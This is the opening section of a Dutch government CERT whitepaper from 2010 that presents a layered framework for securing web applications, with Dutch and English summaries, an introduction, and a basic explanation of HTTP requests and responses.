Whitepaper Raamwerk Beveiliging Webapplicaties

Whitepaper Raamwerk Beveiliging Webapplicaties

Auteur

GOVCERT.NL Versie

Versie 2.0 Status

Definitief Datum

Den Haag, 4 mei 2010. Publieke uitgave 4 november 2010

GOVCERT.NL is het Computer Emergency Response Team van en voor de Nederlandse overheid. Zij ondersteunt overheidsorganisaties in het Voorkomen en afhandelen van ICT-gerelateerde veiligheidsincidenten, 24 uur per dag, 7 dagen per week. Advies en preventie, waarschuwing, incidentafhandeling en kennisdeling zijn hierbij sleutelwoorden. Logius (voorheen GBO.Overheid) is de dienst digitale overheid van het Ministerie van Binnenlandse Zaken en Koninkrijksrelaties waar GOVCERT.NL sinds 1 januari 2006 deel van uit maakt. Zij is verantwoordelijk voor beheer en verdere ontwikkeling van een aantal overheidsbrede ICT-voorzieningen.

Gebruik: Dit werk is gepubliceerd onder de voorwaarden beschreven in de Creative Commons Naamsvermelding-Niet-commercieel-Gelijk delen 3.0 Nederland licentie. Kijk voor meer informatie op http://creativecommons.org/licenses/by-nc-sa/3.0/nl/

Inhoud 1.

INLEIDING ................................................................................................................. 9 1.1.

2.

L EESWIJZER ............................................................................................................ 10 RAAMWERK BEVEILIGING WEBAPPLICATIES ...................................................... 12

2.1. 2.2. 2.3. 2.4. 2.5. 2.6. 2.7. 2.8. 3.

WEBAPPLICATIES ..................................................................................................... 12 HET HTTP-PROTOCOL ............................................................................................. 14 M OGELIJKE KWETSBAARHEDEN EN BEDREIGINGEN ........................................................ 17 HET RAAMWERK ....................................................................................................... 19 DOELEN .................................................................................................................. 21 REIKWIJDTE ............................................................................................................ 21 I NCIDENTEN BINNEN HET . NL-DOMEIN .......................................................................... 22 A LGEMENE AANBEVELINGEN ...................................................................................... 25 NETWERKBEVEILIGING .......................................................................................... 28

3.1. 3.2. 3.3. 4.

I NLEIDING ............................................................................................................... 28 M OGELIJKE KWETSBAARHEDEN EN DREIGINGEN ........................................................... 29 A ANBEVELINGEN ...................................................................................................... 33 PLATFORMBEVEILIGING ........................................................................................ 47

4.1. 4.2. 4.3. 5.

I NLEIDING ............................................................................................................... 47 M OGELIJKE KWETSBAARHEDEN EN DREIGINGEN ........................................................... 47 A ANBEVELINGEN ...................................................................................................... 51 APPLICATIEBEVEILIGING - KWETSBAARHEDEN .................................................. 61

5.1. 5.2. 5.3. 6.

I NLEIDING ............................................................................................................... 61 KWETSBAARHEDEN .................................................................................................. 62 O ORZAKEN ............................................................................................................. 86 APPLICATIEBEVEILIGING - MAATREGELEN.......................................................... 91

6.1. 6.2. 6.3. 6.4. 6.5. 7.

I NLEIDING ............................................................................................................... 91 M AATREGELEN OP HET GEBIED VAN SOFTWARE-ONTWIKKELING ...................................... 92 CONFIGURATIEMAATREGELEN .................................................................................. 102 P ROCEDURELE MAATREGELEN ................................................................................. 108 O VERIGE AANDACHTSPUNTEN .................................................................................. 110 APPLICATIEBEVEILIGING – WEB APPLICATION FIREWALLS............................. 112

7.1. 7.2. 7.3. 7.4.

I NLEIDING ............................................................................................................. 112 T ECHNIEK ............................................................................................................. 112 F UNCTIONALITEITEN ............................................................................................... 116 E EN WAF IN DE INFRASTRUCTUUR ........................................................................... 122

Titel

Datum

Whitepaper Raamwerk Beveiliging Webapplicaties / v2.0

4-11-2010

Pagina

1

7.5. 7.6. 8.

V OORBEELDEN VAN WAF OPLOSSINGEN ................................................................... 123 A ANDACHTSPUNTEN ............................................................................................... 124 IDENTITEIT- EN TOEGANGSBEHEER ................................................................... 127

8.1. 8.2. 8.3. 9.

I NLEIDING ............................................................................................................. 127 M OGELIJKE KWETSBAARHEDEN EN BEDREIGINGEN ...................................................... 129 A ANBEVELINGEN .................................................................................................... 137 VERTROUWELIJKHEID EN ONWEERLEGBAARHEID ........................................... 144

9.1. 9.2. 9.3. 10.

I NLEIDING ............................................................................................................. 144 M OGELIJKE KWETSBAARHEDEN EN BEDREIGINGEN ...................................................... 144 A ANBEVELINGEN .................................................................................................... 146 BEVEILIGINGSINTEGRATIE .................................................................................. 154

10.1. 10.2. 10.3. 11.

I NLEIDING .......................................................................................................... 154 MECHANISMEN ................................................................................................... 155 A ANBEVELINGEN ................................................................................................. 158

MONITORING, AUDITING EN ALERTING............................................................... 159

11.1. 11.2.

MOGELIJKE KWETSBAARHEDEN EN BEDREIGINGEN .................................................. 160 A ANBEVELINGEN ................................................................................................. 161

A.

BEVEILIGINGSADVIES GOVCERT.NL-2006-133 ................................................... 171

B.

AFKORTINGEN ...................................................................................................... 174

C.

HOOFDPUNTEN BEVEILIGING .............................................................................. 177

D.

REFERENTIES ....................................................................................................... 184

Titel

Datum


4-11-2010

Pagina

2

Samenvatting Het beveiligen van webapplicaties is meer dan het versleutelen van verkeer of het gebruik van firewalls. Een webapplicatie is pas optimaal beveiligd wanneer organisaties op meerdere niveaus maatregelen treffen tegen misbruik ervan. Dit Raamwerk Beveiliging Webapplicaties, kortweg RBW, beschrijft alle lagen waaraan ontwikkelaars, beheerders en architecten bij het beveiligen van een webapplicatie aandacht moeten schenken. Deze lagen, die in deze whitepaper achtereenvolgens worden behandeld, zijn: netwerkbeveiliging, platformbeveiliging, applicatiebeveiliging, identiteiten toegangsbeheer, vertrouwelijkheid en onweerlegbaarheid, beveiligingsintegratie en monitoring. Deze samenvatting gaat kort in op deze onderwerpen. Netwerkbeveiliging - Bij netwerkbeveiliging ligt de focus op het beveiligen van de infrastructuur via firewalls, routers en switches. Belangrijk is een solide DMZ-ontwerp en architectuur waarbij de organisatie aandacht besteedt aan zaken als compartimentering (waarbij de DMZ wordt opgedeeld in compartimenten met daarin diensten met gelijke functionaliteit en beveiligingsniveau), verplichte routepaden door de DMZ en scheiding van regulier verkeer en beheerverkeer. Om te voorkomen dat kwaadwillenden een webapplicatie via de infrastructuur aanvallen, moeten organisaties voldoende maatregelen treffen tegen ‘Distributed Denial-of-Service’aanvallen en moeten zij tevens hardening op infrastructuurniveau doorvoeren. Denk hierbij aan het uitschakelen van onnodige services en het gebruik van veilige protocollen bij het uitvoeren van beheerwerkzaamheden. Platformbeveiliging – Platformbeveiliging richt zich op het beveiligen van de besturingssystemen waarop webservers, databaseservers, etcetera draaien. Om te voorkomen dat kwaadwillenden misbruik maken van bekende en nieuwe kwetsbaarheden is het belangrijk een solide updatemechanisme te implementeren. Naast een technische inrichting,moet een organisatie ook aandacht besteden aan procedures hiervoor. Het inperken van rechten op het systeem, het hardenen van essentiële systeemonderdelen zoals de TCP- en IPstacks en het gebruik van beveiligingstemplates, verlagen de kans dat kwaadwillenden misbruik van de server maken. Door auditing op OS-niveau in te richten, zorgen organisaties ervoor dat eventueel misbruik toch gedetecteerd kan worden.

Titel

Datum


4-11-2010

Pagina

3

Applicatiebeveiliging – De nadruk in deze whitepaper ligt voor een groot deel op applicatiebeveiliging. Veel problemen met webapplicaties vinden hun oorsprong in fouten die ontwikkelaars maken bij het ontwikkelen van een webapplicatie. Denk hierbij aan kwetsbaarheden als Cross-Site-Scripting (XSS), SQL-injectie en commandinjectie. Veel van deze problemen ontstaan doordat ontwikkelaars in- en uitvoer onvoldoende valideren. Het valideren van alle mogelijke invoer, het coderen van gevaarlijke karakters in de uitvoer en het gebruik van geparameteriseerde queries voor communicatie met de database, kunnen deze kwetsbaarheden helpen voorkomen. Andere belangrijke zaken zijn het gebruik van accounts met beperkte rechten voor het verbinden met databases en andere systemen en het opleiden van ontwikkelaars in het veilig programmeren van webapplicaties. Een Web Application Firewall (WAF) is een applicatie die de beveiliging van een webapplicatie kan verhogen. Een WAF fungeert als reverse proxy of als plug-in op de webserver en is gespecialiseerd in het uitvoeren van invoervalidatie, protocolvalidatie, uitvoervalidatie en het normaliseren en loggen van alle webverzoeken. Hoewel een WAF een waardevolle toevoeging voor de beveiliging van een webomgeving kan zijn, staat het zeker niet los van andere beveiligingsmaatregelen op applicatieniveau. Identiteit- en toegangsbeheer – Op het gebied van identiteiten toegangsbeheer blijken veel webapplicaties problemen te hebben met het implementeren van een veilig mechanisme voor sessiemanagement. De vraag is of elke webapplicatie het wiel op dit gebied telkens opnieuw moet uitvinden of dat je hiervoor een gespecialiseerde ‘Identity & Access Management’(I&AM)-component kan inzetten. Belangrijk is in ieder geval om de inzet van gespecialiseerde tooling te overwegen en om vervolgens te bepalen welke authenticatieen autorisatiefuncties op welke plek in de webomgeving worden uitgevoerd. Tot slot is het niet alleen van belang om te kijken naar de inlogfunctionaliteit, maar ook naar de mogelijkheid om de sessie te beëindigen (uitloggen).

Titel

Datum


4-11-2010

Pagina

4

Vertrouwelijkheid en onweerlegbaarheid – In de laag ‘Vertrouwelijkheid en onweerlegbaarheid’ ligt de focus op het beschermen van data en het bewijzen dat bepaalde transacties daadwerkelijk hebben plaatsgevonden. Om data voldoende te beschermen is het van belang versleuteling op transportniveau toe te passen door het gebruik van SSL of TLS. Versleuteling op transportniveau is echter niet voldoende. Zo moet gevoelige informatie ook versleuteld worden opgeslagen in databases om te voorkomen dat kwaadwillenden via aanvallen als SQL-injectie alsnog inzicht krijgen in deze informatie. Tot slot is het advies om gebruik te maken van digitale handtekeningen om de onweerlegbaarheid van transacties te kunnen bereiken. Beveiligingsintegratie – Binnen de diverse lagen van het RBW zijn verschillende mechanismen ingericht voor het beveiligen van de webapplicatie. Om samenwerking tussen deze tools te kunnen bewerkstelligen, is het belangrijk aandacht te besteden aan de samenhang tussen deze tools. Deze samenwerking maakt onderdeel uit van de laag ‘Beveiligingsintegratie’. Bij elke beveiligingscomponent uit het RBW is het dan ook van belang te bekijken welke diensten deze component van andere componenten moet kunnen afnemen en welke diensten de component moet kunnen aanbieden aan andere componenten. Monitoring, auditing en alerting – Monitoring, auditing en alerting zijn van toepassing op elke laag van het RBW en hebben als doel inzicht te behouden in het functioneren van de webomgeving en aanvallen hierop. Het is belangrijk om • causale verbanden te leggen tussen gebeurtenissen op verschillende lagen, • verzamelde logginggegevens actief te bekijken en • samenwerking tussen verschillende afdelingen van een organisatie te bevorderen om op die manier multidisciplinair problemen te verhelpen en te detecteren.

Titel

Datum


4-11-2010

Pagina

5

Summary Securing web applications entails more than encrypting traffic or implementing firewalls. Technical and procedural measures at different layers are required for optimal protection of the web application. The Web Application Security Framework (WASF), the main subject of this whitepaper, describes all the (technical) layers that developers, system administrators and architects should focus on when securing web applications. These layers are network security, platform security, application security, identity and access management, confidentiality and non-repudiation, security integration and monitoring. This summary briefly describes each of these layers. Network security – Network security focuses on the protection of the web environment at the network-level through the use of firewalls, routers and switches. An important topic is a solid DMZ design that focuses on compartmentalization in different network segments, forced route paths through the DMZ and separation of production and management traffic. To prevent miscreants from attacking web applications at the network layer, organizations should harden systems on the network level and implement measures against Distributed Denial-of-Service (DDoS) attacks. Hardening involves the removal of unneeded services and the use of safe system management mechanisms. Platform security – Platform security focuses on securing the operating systems on which web applications run. To prevent attackers from misusing known and new vulnerabilities, it is important to implement a solid update mechanism. Not only the technical organization of this is important, also the procedures around updating need attention. Restricting user rights, hardening essential protocols such as TCP and IP and using security templates all decrease the chances that attackers are able to successfully comprise a system. As a last resort, auditing on the OS-level provides a way to detect possible misuse of a system. Application security – This whitepaper has a strong focus on application security. Many of the vulnerabilities found in web applications nowadays, originate from errors made by web developers during the development of a web application. Examples of this kind of vulnerability are CrossSite Scripting (XSS), SQL injection and command injection. Many of these problems are caused by the fact that developers insufficiently validate user input and application output. Validating all user input, encoding unsafe characters

Application security Safe input data handling Output encoding Use of parameterized queries Use of restricted accounts Developer education Use of a Web Application Firewall

Titel

Datum


4-11-2010

Pagina

6

in the output and using parameterized queries when communicating with the database are the most important measures to prevent these problems. Other important measures are the use of restricted database accounts and the education of safe coding practices to developers. A Web Application Firewall (WAF) is a specialized component that can increase the security of web applications. A WAF functions as a reverse proxy or as a plug-in on a webserver and is specifically built to filter user input, validate protocols, filter output and normalize and log all requests to web servers. Although a WAF can be a valuable addition to a web security infrastructure, it cannot be detached from other security measures on the application level. Identity and Access Management – Implementing a solid session management mechanism turns out to be a problematic issue for a lot of web applications. Instead of reinventing the wheel, using a specialized tool for Identity and Access Management (I&AM) can be useful for this matter. Considering the use of such a tool and determining the place of identity and access management functionality within the web environment is essential. In conclusion it’s also important to not only implement a login mechanism but also a logout mechanism allowing a user to terminate his session. Confidentiality and non-repudiation – The focus in the layer ‘Confidentiality and non-repudiation’ is on the protection of data and proving that a certain transaction took place. To be able to protect data it is essential to implement encryption on the transport level by using SSL or TLS. However, encryption on the transport level is not enough. One should also encrypt data that is stored in databases to prevent miscreants from retrieving sensitive data through e.g. SQL injection, once this data is saved to a database. In conclusion the advice is to also make use of digital signatures to achieve non-repudiation of transactions, when needed. Security integration – Within the different layers of the WASF, different tools cooperate in securing the web application. In order to achieve tight cooperation between these different tools, it is important to focus on the integration of these tools. This integration is part of the ‘Security Integration’ layer of the WASF. With each and every component in the WASF it is important to consider the security services this component can offer to other components and the security services this component needs from other components.

Titel

Datum


4-11-2010

Pagina

7

Monitoring, auditing and alerting – Monitoring, auditing and alerting apply to every layer of the WASF and aim to gain a clear insight into the functioning of the web environment and attacks on this environment. It is important to focus on causal connections between the events on different layers and to actively monitor these events. Cooperation between the different departments of an organization is essential in order to effectively detect and resolve problems in a multidisciplinary manner.

Titel

Datum


4-11-2010

Pagina

8

1.

Inleiding

Steeds meer organisaties bieden diensten aan klanten aan via internet. Dit gebeurt bijvoorbeeld via websites, extranetten en webservices. De mogelijkheden die dit soort applicaties bieden nemen steeds verder toe, evenals de informatie die bedrijven en overheden aanbieden via dergelijke toepassingen. Voldoende aandacht voor de beveiliging van deze applicaties is essentieel om informatie afdoende te beschermen en het vertrouwen van eindgebruikers in zulke internet enabled applicaties niet te schaden. Onderzoek van Cenzic1, leverancier van producten op het gebied van webapplicatiebeveiliging, naar de beveiliging van webapplicaties levert een zorgwekkend beeld op: • • •

Slechts 49% van de geënquêteerden voelt zich gemakkelijk bij de beveiliging van de websites van de organisatie. 28% heeft geen idee of er zich ooit een veiligheidsincident heeft voorgedaan op de website(s) onder beheer. 49% voert tijdens de ontwikkeling van webapplicaties geen (beveiligings)tests uit.

Tegelijkertijd concludeert SANS Institute dat webapplicaties het belangrijkste doelwit van kwaadwillenden zijn 2: ongeveer 60% van alle aanvallen vanaf het internet is gericht op webapplicaties. Ook alarmerend is dat van alle nieuw ontdekte en bekend gemaakte kwetsbaarheden, ongeveer 80% kwetsbaarheden in webapplicaties betreft. Aangezien een webapplicatie vaak onderdeel uitmaakt van een keten van ict-services, is het belangrijk dat de aandacht bij de beveiliging van een webapplicatie niet alleen uitgaat naar alleen de webapplicatie. Ook alle omliggende componenten (databases, logging servers, proxies, etcetera), waarvan de webapplicatie afhankelijk is, vervullen een belangrijke rol in het functioneren van de webapplicatie. Deze componenten moeten daarom ook worden betrokken in het geheel aan beveiligingsmaatregelen. Deze whitepaper beschrijft een raamwerk (het Raamwerk Beveiliging Webapplicaties, kortweg RBW) dat aandacht besteedt aan alle lagen van beveiliging van webapplicaties en omliggende componenten. Deze whitepaper is bedoeld voor architecten, systeemontwikkelaars, beheerders en security officers die betrokken zijn bij de beveiliging en ontwikkeling van webapplicaties. Het whitepaper is technisch georiënteerd en gaat ervan uit dat de lezer

1 2

http://www.cenzic.com/downloads/downloads/Cenzic_Survey_emedia-200910.pdf http://www.sans.org/top-cyber-security-risks/

Titel

Datum


4-11-2010

Pagina

9

technische basiskennis heeft van de meest gebruikte protocollen en technieken op het gebied van webapplicaties.

1.1. Leeswijzer Hoofdstuk 2 van dit document introduceert het Raamwerk Beveiliging Webapplicaties (RBW). Het raamwerk bestaat uit verschillende lagen die elk een onderdeel van de beveiliging van webapplicaties behandelen. De daaropvolgende hoofdstukken gaan dieper in op de verschillende lagen van dit raamwerk. Elk hoofdstuk start met een beschrijving van de specifieke laag uit het raamwerk, waarna de bedreigingen, kwetsbaarheden en mogelijke maatregelen aan bod komen. Mocht u geïnteresseerd zijn in één specifiek onderdeel van de beveiliging van webapplicaties, dan kunt u het beste eerst hoofdstuk 2 doorlezen om vervolgens één van de deelonderwerpen in meer detail te bestuderen. Eén van de belangrijkste onderwerpen in deze whitepaper is de applicatiebeveiliging. Vandaar dat dit onderwerp is beschreven in verschillende hoofdstukken waarbij eerst de kwetsbaarheden op applicatieniveau worden beschreven (hoofdstuk 5) en vervolgens de maatregelen voor dat niveau (hoofdstuk 6). Daarnaast is een apart hoofdstuk gewijd aan Web Application Firewalls (WAF), systemen die een belangrijke rol kunnen spelen in het beveiligen van een webapplicatie op applicatieniveau. De lagen van het raamwerk zijn als volgt verdeeld over de hoofdstukken: • • • • • • • • •

Hoofdstuk 3: Netwerkbeveiliging. Hoofdstuk 4: Beveiliging van het platform/besturingssysteem. Hoofdstuk 5: Kwetsbaarheden in webapplicaties. Hoofdstuk 6: Maatregelen op applicatieniveau. Hoofdstuk 7: Gebruik van Web Application Firewalls (WAF) voor het beveiligen van een webapplicatie op applicatieniveau. Hoofdstuk 8: Afscherming van webapplicaties via authenticatieen autorisatiemechanismen. Hoofdstuk 9: Implementatie van vertrouwelijkheid en onweerlegbaarheid in webapplicaties. Hoofdstuk 10: Integratie van de webapplicatie met de verschillende beveiligingscomponenten. Hoofdstuk 11: Inrichting van monitoring, auditing en alerting.

Titel

Datum


4-11-2010

Pagina

10

OPMERKING De rode draad in dit document, is dat beveiling vanuit ketenperspectief benaderd wordt. Dan alleen ontstaat een optimaal beveiligde omgeving. Een dergelijk resultaat volgt niet als beveiliging per losstaande component wordt ingericht.. Daarom is het voor een juiste perceptie op de beveiliging van webapplicaties, aan te raden om het hele document door te lezen. Dit document gebruikt veel afkortingen. Een overzicht van alle gebruikte afkortingen kunt u terugvinden in bijlage B. Een puntsgewijze opsomming van alle kwetsbaarheden, bedreigingen en aanbevelingen uit dit document vindt u terug in bijlage C. Tot slot gebruikt dit document ook voetnoten om bepaalde termen of begrippen te verduidelijken. Deze voetnoten herkent u aan een cijfer in superscript (bijvoorbeeld: 3 ). NOOT Indien in dit document de naam van een product, dienst, fabrikant of leverancier wordt genoemd, betekent dit niet dat GOVCERT.NL deze op enige wijze goedkeurt, afkeurt, aanraadt, afraadt of anderszins hiermee verbonden is.

Titel

Datum


4-11-2010

Pagina

11

2.

Raamwerk Beveiliging Webapplicaties

Dit hoofdstuk introduceert het Raamwerk Beveiliging Webapplicaties, kortweg RBW. Dit raamwerk beschrijft de verschillende aspecten die aan bod moeten komen bij het beveiligen van een webapplicatie. Het hoofdstuk start met een beschrijving van het begrip webapplicatie en mogelijke generieke kwetsbaarheden in webapplicaties. Dan volgen het RBW en de doelen en reikwijdte van het raamwerk in hoofdlijnen. Daarnaast illustreert dit hoofdstuk kwetsbaarheden in webapplicaties aan de hand van een aantal incidenten dat zich op dit gebied heeft voorgedaan in Nederland. Het hoofdstuk eindigt met een aantal generieke aanbevelingen.

2.1. Webapplicaties Wanneer dit document spreekt over een webapplicatie dan gaat het om een applicatie die bereikbaar is via een webbrowser of via een andere client die ondersteuning biedt voor het Hypertext Transfer Protocol (HTTP). Een dergelijke client noemt men een ‘HTTP user agent’. Kern van deze definitie is dat een webapplicatie altijd bereikbaar is op basis van HTTP of de versleutelde vorm hiervan: HTTPS (HTTP Secure). De functionaliteit die een webapplicatie kan bieden is onbeperkt, de techniek is echter altijd gebaseerd op de http-protocolstandaard zoals gedefinieerd in ‘Request for Comments’ (RFC) 1945 3, 20684, 26165, 26176 en 2965 7. Enkele voorbeelden van applicaties die volgens deze definitie onder de noemer webapplicatie vallen: •

Internetsites. Internetsites zijn websites die voor iedereen toegankelijk zijn. Door met een browser naar een website te surfen (bijvoorbeeld www.govcert.nl) kan iemand informatie over een organisatie opvragen, formulieren downloaden en vragen aan een organisatie stellen.

•

Extranetten. Extranetten maken gebruik van dezelfde technieken als internetsites met dit verschil, dat vaak enige vorm van authenticatie en autorisatie plaatsvindt. Extranetten zijn in de regel bedoeld voor klanten van een organisatie. Via een extranet kan een klant bijvoorbeeld opdrachten geven, statussen bekijken en documenten inzien. De kennisbank van GOVCERT.NL (kennisbank.govcert.nl) is een voorbeeld van een extranet.

3 4 5 6 7

RFC RFC RFC RFC RFC

1945: 2068: 2616: 2617: 2965:

Hypertext Transfer Protocol -- HTTP/1.0: http://www.ietf.org/rfc/rfc1945.txt Hypertext Transfer Protocol -- HTTP/1.1: http://www.ietf.org/rfc/rfc2068.txt Hypertext Transfer Protocol -- HTTP/1.1: http://www.ietf.org/rfc/rfc2616.txt HTTP Authentication (Basic and Digest): http://www.ietf.org/rfc/rfc2617.txt HTTP State Management Mechanism: http://www.ietf.org/rfc/rfc2965.txt

Titel

Datum


4-11-2010

Pagina

12

•

Intranetten. Ook intranetten maken gebruik van dezelfde technieken als internetsites. Intranetten zijn echter alleen bedoeld voor interne medewerkers van een organisatie en bieden bijvoorbeeld de mogelijkheid om interne berichten te verspreiden. Intranetten zijn veelal alleen vanuit de infrastructuur van de eigen organisatie te bereiken.

•

‘Software-as-a-Service’(SaaS)-webapplicaties. Veel hedendaagse webapplicaties zijn niet meer te vangen onder één van de eerdere noemers. Het gaat hierbij om webapplicaties die functionaliteiten aanbieden aan geregistreerde gebruikers, zonder dat daarbij de doelgroep gelimiteerd is tot klanten (extranetten) of werknemers (intranetten). Voorbeelden van dit soort webapplicaties zijn webmail toepassingen (Gmail, Hotmail) en sociale platformen (Twitter, Facebook, Hyves) die men vaak aanduidt als Software-as-a-Service (SaaS) toepassingen.

•

Webservices en Web API’s. De voorgaande typen webapplicaties maken allen gebruik van Hypertext Markup Language (HTML) om te communiceren met de gebruiker. HTML maakt het mogelijk om webpagina’s op te maken en weer te geven in een webbrowser. Webservices maken geen gebruik van HTML maar van eXtensible Markup Language (XML) of een variatie hierop. Net als bij HTML, gebruikt een webservice HTTP(S) als middel voor het uitwisselen van berichten. SOAP is één van de meest gebruikte standaarden om invulling te geven aan een webservice. XML bevat geen lay-out informatie zoals bij HTML, maar bevat informatie in een gestructureerde, vooraf gedefinieerde, vorm. Webservices verbinden in de regel applicaties met elkaar en baseren informatie-uitwisseling tussen deze applicaties op het gebruik van XML-berichten. Ook bij veel ‘Web 2.0’-applicaties vindt op XML-gebaseerde informatie-uitwisseling plaats waarbij een speciaal object in de browser (het zogenoemde XMLHTTPobject) een webapplicatie benadert voor het dynamisch vullen van (onderdelen van) een webpagina. We spreken in dit geval niet van een webservice maar van een Web API. Een Web API kan, in plaats van XML, ook een ander gestandaardiseerd formaat zoals JavaScript Object Notation (JSON) gebruiken voor het uitwisselen van informatie. De RSS-feed van Waarschuwingsdienst.nl (http://www.waarschuwingsdienst.nl/rss.xml) is een voorbeeld van een webservice.

Hoewel webapplicaties normaal gesproken gebruik maken van twee standaard TCPpoorten (80/tcp voor HTTP, 443/tcp voor HTTPS), kan een webapplicatie ook gebruik maken van een andere poort (bijvoorbeeld 8080/tcp). In dat geval spreken we nog steeds van een webapplicatie aangezien de applicatie te benaderen is op basis van standaard HTTP-berichten.

Titel

Datum


4-11-2010

Pagina

13

2.2. Het HTTP-protocol Om de verschillende dreigingen, kwetsbaarheden en voorgestelde maatregelen in dit document goed te kunnen begrijpen, is het van belang kennis te hebben van basisbegrippen rondom het HTTP-protocol. Deze paragraaf behandelt daarom enkele basiseigenschappen van HTTP, het gebruik van vraag- en antwoordkoppels binnen HTTP, het via HTTP versturen van informatie vanaf een client richting een webserver en het versleutelen van deze informatie.

2.2.1. Basiseigenschappen van HTTP Hieronder volgen de belangrijkste eigenschappen van HTTP: •

HTTP werkt met vraag- (HTTP-request) en antwoordberichten (HTTP-response).

•

In de meeste gevallen is communicatie via HTTP synchroon van aard: de client stuurt een vraag en ontvangt, in dezelfde sessie, onmiddellijk een antwoord van de webserver. In sommige gevallen is de actie die de webserver moet uitvoeren zo complex dat deze niet binnen een bepaalde time-out kan reageren. Dan is het mogelijk om over te schakelen op asynchrone communicatie. Hierbij ontvangt de client het antwoord van de webserver via een aparte sessie. Een overeenkomstig kenmerk in het vraag- en antwoordbericht is in deze gevallen nodig om vraag en antwoord aan elkaar te kunnen koppelen. Sommige webservices maken gebruik van asynchrone communicatie.

•

Elk HTTP-bericht bestaat uit een kop en een bericht (HTTP-payload). De kop bevat onder andere de zogenoemde HTTP-headers. HTTP-headers bevatten metainformatie over het bericht zoals het type payload (bijvoorbeeld tekst, HTML of XML), het gebruikte type webserver, de naam van de webserver en de inhoud van een cookie. De volgende HTTP-headers in een verzoek zijn voor deze whitepaper relevant, omdat ze een belangrijke rol spelen bij sommige beveiligingsmaatregelen: -

Authorization: base64 gecodeerde gebruikersnaam en wachtwoord; Cookie: inhoud van eventuele cookies waarover de gebruiker beschikt; Host: naam van de website die men wil bevragen (bijvoorbeeld www.govcert.nl); Referer8: URL waarvandaan de gebruiker de pagina benadert.

•

HTTP is stateless. Dit betekent dat elk vraag-antwoordkoppel los van elkaar staat. De webserver beantwoordt elk vraagbericht daarom onafhankelijk van het vorige bericht. Omdat statusbehoud wel van belang is (bijvoorbeeld het onthouden van

8

De naam van deze header is foutief gespeld in de specificatie van HTTP terecht gekomen. Eigenlijk zou deze header daarom referrer in plaats van referer moeten heten.

Titel

Datum


4-11-2010

Pagina

14

authenticatie-informatie), hebben ontwikkelaars dit via speciale mechanismen ingebouwd in HTTP. Cookies vormen één van de mogelijkheden om deze status te behouden. Het bijhouden van statusinformatie valt vaak onder de noemer ‘sessiemanagement’.

2.2.2. HTTP vragen en antwoorden Zoals paragraaf 2.2.1 al beschreef, werkt HTTP met vraag- en antwoordberichten. Een typisch vraag-antwoordkoppel is weergegeven in figuur 2-1. Zowel het vraag- als het antwoordbericht bevat een verzameling headers die meta-informatie over het bericht geven. Daarnaast bevat een bericht in veel gevallen een http-payload, de eigenlijke inhoud van het bericht.

HTTP-request GET / HTTP/1.1 Accept: image/gif, image/x-bitmap Accept-Encoding: gzip, deflate Accept-Language: nl Connection: Keep-Alive Cookie: CFID=15014; CFTOKEN=622 Host: www.website.nl User-Agent: Mozilla/4.0 HTTP-headers

HTTP-response HTTP/1.1 401 Authorization Required Connection: close Content-Type: text/html Date: Mon, 2 July 2006 13:00:00 GMT Server: Apache/1.3.29 (Linux/SUSE) Transfer-encoding: chunked WWW-authenticatie: Basic realm=”X” <TITLE> Please authenticate yourself!

HTTP-headers

HTTP-payload

Figuur 2-1: HTTP vraag- en antwoordbericht

2.2.3. Informatieoverdracht van client naar server Veel webapplicaties maken gebruik van invoer van gebruikers. Er bestaan grofweg twee manieren om invoer van een gebruiker naar een webapplicatie te sturen: •

Via query parameters in de URL. Een webapplicatie maakt gebruik van queryparameters wanneer een ontwikkelaar heeft aangegeven dat een ingevuld formulier via de GET-methode moet worden aangeboden aan de webapplicatie.

•

Via variabelen in de body van het bericht. Een browser biedt variabelen aan in de payload van het bericht wanneer een ontwikkelaar heeft aangegeven dat een

Titel

Datum


4-11-2010

Pagina

15

ingevuld formulier via de POST-methode moet worden aangeboden aan de webapplicatie. Stel bijvoorbeeld dat een webapplicatie een inlogscherm heeft waarop een gebruiker zijn gebruikersnaam en wachtwoord moet invullen. Als dit formulier gebruik maakt van de GET-methode zal de browser de opgegeven combinatie van gebruikersnaam en wachtwoord achter de URL plakken. Bij de POST-methode plaatst de browser deze gegevens in de HTTP-body. Figuur 2-2 illustreert dit.

Figuur 2-2: GET en POST

Om te voorkomen dat gebruikersinvoer ervoor zorgt dat verzoeken syntactisch incorrect worden (de vereiste opbouw van het bericht verstoren), kan een browser bepaalde karakters uit de invoer coderen, ofwel in een andere vorm opnemen in het verzoek. Zo is het vraagteken een speciaal karakter in een URL omdat het de scheiding vormt tussen de geraadpleegde resource en de parameters die de gebruiker aanbiedt. Plaatst een gebruiker een vraagteken in zijn invoer, dan zal de browser dit vraagteken coderen als ‘%3f’, het hexadecimale equivalent van het vraagteken. Ook spaties zijn in een URL niet mogelijk. Een browser zal spaties automatisch omzetten naar ‘+’-tekens. Gebruikersinvoer als ‘a / b?’ zal de browser daarom coderen als ‘a+%2f+b%3f’.

2.2.4. Versleutelen van informatie Om HTTP-berichten versleuteld over internet te sturen, kun je gebruik maken van Secure Sockets Layers (SSL) of Transport Layer Security (TLS). Naast versleuteling maken SSL en TLS ook authenticatie mogelijk: de webserver authenticeert zich (bewijst zijn identiteit) via een servercertificaat, de gebruiker via een clientcertificaat. In veel gevallen past men bij SSL/TLS-authenticatie alleen authenticatie van de

Titel

Datum


4-11-2010

Pagina

16

webserver toe. Gebruikers kunnen toepassing van SSL/TLS herkennen doordat de URL start met https:// in plaats van http://. 2.3. Mogelijke kwetsbaarheden en bedreigingen Een webapplicatie heeft te maken met een groot aantal mogelijke kwetsbaarheden en bedreigingen. Deze kwetsbaarheden en bedreigingen bevinden zich op verschillende niveaus; denk hierbij aan kwetsbaarheden en bedreigingen op netwerkniveau (bijvoorbeeld Denial of Service), op authenticatieniveau (bijvoorbeeld het omzeilen van authenticatiemechanismen) of op applicatieniveau (bijvoorbeeld Cross-Site Scripting). Veel publicaties op het gebied van beveiliging van webapplicaties richten zich vooral op het applicatieniveau. Figuur 2-3 toont de resultaten van onderzoeken van het Web Application Security Consortium (WASC)9 en Whitehat Security10 naar veel voorkomende lekken in webapplicaties. Hieruit blijkt bijvoorbeeld dat ‘Cross-Site Scripting’ en ‘Information Leakage’ de belangrijkste kwetsbaarheden zijn op applicatieniveau.

Figuur 2-3: overzicht webapplicatie kwetsbaarheden op applicatieniveau

9

http://www.webappsec.org/projects/statistics/ http://www.whitehatsec.com/home/assets/WPStatsreport_100107.pdf

10

Titel

Datum


4-11-2010

Pagina

17

